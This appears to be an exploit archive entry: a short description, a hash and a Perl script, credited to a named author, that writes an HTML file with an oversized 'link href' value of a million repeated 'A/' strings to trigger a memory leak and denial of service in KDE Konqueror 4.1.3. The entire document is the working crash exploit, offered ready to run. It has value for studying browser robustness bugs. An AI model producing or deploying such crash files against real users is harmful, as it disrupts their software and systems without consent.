KDE Konqueror version 4.1.3 link href memory leak exploit that causes a denial of service condition.
52ec44898dc0b279108db1d6176b487e62c9df5937992cc4e645545e44da1e9e
#!/usr/bin/perl
# konq_lhref_ml.pl
# KDE Konqueror 4.1.3 'link href' Memory Leak Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
#
# Software should be able to handle any kind of input and still perform correct operations.
# Webkit > KHTML -- stability-wise, anyways
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n";
}
$head = "<html>" . "\n";
$trig = "<link href = \"" . "A/" x 1000000 . "\";";
$foot = "\n" . "</html>";
$data = $head . $trig . $foot;
open(FILE, '>' . $filename);
print FILE $data;
close(FILE);
exit;